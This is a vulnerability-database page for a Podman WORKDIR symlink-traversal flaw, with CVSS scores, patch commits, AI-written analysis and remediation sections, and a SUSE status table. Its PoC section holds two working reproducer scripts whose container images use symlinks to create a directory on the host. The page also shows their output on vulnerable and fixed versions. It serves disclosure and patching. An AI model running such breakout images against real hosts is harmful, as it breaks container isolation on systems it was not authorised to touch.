Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Local execution of the container image is required (AV:L, PR:L); host filesystem modification outside the container boundary constitutes a scope change (S:C); impact is integrity-only directory creation (I:L, C:N, A:N).
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Primary rating from Vendor (https://github.com/podman-container-tools/podman).
CVSS VectorVendor: https://github.com/podman-container-tools/podman
Lifecycle Timeline
2DescriptionCVE.org
Summary
Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.
Patch
https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0
Details
This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)
PoC
The reproducer script _test1.bash_ demonstrates the vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /var/BREAKOUT as current working directory.
The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory /var/BREAKOUT is created on the host. The container process uses the container directory /usr/local as current working directory.
The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.
Reproducer test1.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
RUN cd / && ln -s ../../../../../../../var symlink
USER 1234:1234
WORKDIR /symlink/BREAKOUT
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUTReproducer test2.bash
#!/bin/bash
set -o errexit
set -o nounset
if [ -e /var/BREAKOUT ]; then
echo error: path /var/BREAKOUT should not exist beforehand
exit 1
fi
dir=$(mktemp -d)
cat > $dir/Containerfile << 'EOF'
FROM docker.io/library/alpine
ARG breakout_dirname=/var
ARG breakout_basename=BREAKOUT
ARG produce_pwd=/usr/local
RUN mkdir -p /0/1/2/3 && \
cd /0 && \
ln -s 1/2/3 symlink1 && \
mkdir -p /0/1/symlink2/${breakout_dirname} && \
cd /0/1/symlink2/${breakout_dirname} && \
ln -s ${produce_pwd} ${breakout_basename}
RUN cd / && ln -s ../../../../../../.. symlink2
USER 1234:1234
WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}
CMD ["/bin/sh","-c","echo current working directory: $(pwd)"]
EOF
podman build -q --no-cache -t img $dir
podman run --rm localhost/img
ls -ld /var/BREAKOUTVulnerable:
podman 5.7.0 using Fedora CoreOS 43.20251120.3.0
root@localhost:~
# bash test1.bash
38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80
current working directory: /var/BREAKOUT
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT
root@localhost:~
# rmdir /var/BREAKOUT/
root@localhost:~
# bash test2.bash
c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9
current working directory: /usr/local
drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUTNot vulnerable:
podman 5.7.1 using Fedora CoreOS 43.20260119.1.1
root@localhost:~
# bash test1.bash
0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788
current working directory: /var/BREAKOUT
ls: cannot access '/var/BREAKOUT': No such file or directory
root@localhost:~
# bash test2.bash
568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60
current working directory: /usr/local
ls: cannot access '/var/BREAKOUT': No such file or directoryCredits
We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.
AnalysisAI
WORKDIR symlink traversal in Podman allows a malicious container image to create arbitrary directories - and under a race condition, modify ownership - directly on the host filesystem, breaking container isolation. Affected versions include Podman v5 through 5.7.0, v4 through 4.9.5, and v3 through 3.4.7; the flaw is in the WORKDIR path resolution logic, which fails to confine symlink dereferences to the container's mount namespace. Public proof-of-concept scripts are included in the vendor's GitHub advisory (GHSA-q6r4-3wmg-fwcq); no active exploitation has been confirmed via CISA KEV.
Technical ContextAI
The vulnerability is rooted in CWE-59 (Improper Link Resolution Before File Access). In the affected code, libpod/container_internal_common.go resolves the WORKDIR directive through a custom resolvePath() plus isWorkDirSymlink() chain. This logic attempts to follow symlinks within the container's filesystem layer but does not enforce that the final resolved path stays within the container's chroot/mount namespace. A crafted image can embed relative symlinks (e.g., /symlink -> ../../../../../var) and set WORKDIR to a path that traverses these links, causing Podman - at container startup, before the OCI runtime takes over - to call os.MkdirAll on a host path derived from the dangling symlink chain. The fix (commits 7ce2e00 and d18e44e) replaces this logic with securejoin.SecureJoin(), a well-established library function that resolves symlinks while remaining confined to the specified root. Affected CPEs: pkg:go/github.com_containers_podman_v5, pkg:go/github.com_containers_podman_v4, pkg:go/github.com_containers_podman_v3.
RemediationAI
Upgrade to Podman 5.7.1 or later, which replaces the vulnerable symlink resolution logic with securejoin.SecureJoin() (patch commits 7ce2e00ab140c11a68301f0b161f51984131a858 and d18e44e9abb3bf5b7294aa70806e1368fdddfdd0, vendor advisory https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq). No confirmed fix exists for Podman v4 or v3 branches; users on those versions should evaluate migration to v5.7.1+ or treat those deployments as unpatched. As a compensating control where an immediate upgrade is not feasible, enforce image signature verification and allowlist only known-trusted image sources before permitting podman run - this prevents execution of attacker-crafted images but adds operational overhead for image management. Restricting which OS users are permitted to invoke podman run (including limiting rootless Podman access) reduces the attack surface but does not eliminate the risk for authorized image sources. Note that blocking network access to public registries would prevent image pull but not exploitation from locally cached or internally hosted malicious images.
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View allSame technique Information Disclosure
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Micro 5.3 | Affected |
| SUSE Linux Enterprise Micro 5.4 | Affected |
| SUSE Linux Enterprise Micro 5.5 | Affected |
| SUSE Linux Enterprise Module for Containers 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Micro 6.0 | Affected |
| SUSE Linux Micro 6.1 | Affected |
| SUSE Linux Micro 6.2 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Containers 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Containers 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Containers 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE CaaS Platform 4.0 | Not-Affected |
| SUSE Enterprise Storage 6 | Not-Affected |
| SUSE Enterprise Storage 7 | Not-Affected |
| SUSE Enterprise Storage 7.1 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| SUSE Linux Enterprise Micro 5.0 | Not-Affected |
| SUSE Linux Enterprise Micro 5.1 | Affected |
| SUSE Linux Enterprise Micro 5.2 | Affected |
| SUSE Linux Enterprise Module for Containers 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Module for Containers 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Module for Containers 15 SP3 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Not-Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Not-Affected |
| SUSE Linux Enterprise Server 15 SP3 | Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Manager Proxy 4.0 | Not-Affected |
| SUSE Manager Proxy 4.1 | Not-Affected |
| SUSE Manager Proxy 4.2 | Affected |
| SUSE Manager Retail Branch Server 4.0 | Not-Affected |
| SUSE Manager Retail Branch Server 4.1 | Not-Affected |
| SUSE Manager Retail Branch Server 4.2 | Affected |
| SUSE Manager Server 4.0 | Not-Affected |
| SUSE Manager Server 4.1 | Not-Affected |
| SUSE Manager Server 4.2 | Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
| openSUSE Leap 15.6 | Affected |
| openSUSE Leap Micro 5.2 | Affected |
| openSUSE Leap Micro 5.3 | Affected |
| openSUSE Leap Micro 5.4 | Affected |
| openSUSE Leap Micro 5.5 | Affected |
| SLES-CHOST-BYOS-Aliyun | Affected |
| SLES-CHOST-BYOS-Azure | Affected |
| SLES-CHOST-BYOS-EC2 | Affected |
| SLES-CHOST-BYOS-GCE | Affected |
| SLES-CHOST-BYOS-GDC | Affected |
| SLES-CHOST-BYOS-SAP-CCloud | Affected |
| rancher/elemental-teal-rt/5.4 rancher/elemental-teal/5.4 suse/sle-micro/5.5 | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39808
GHSA-q6r4-3wmg-fwcq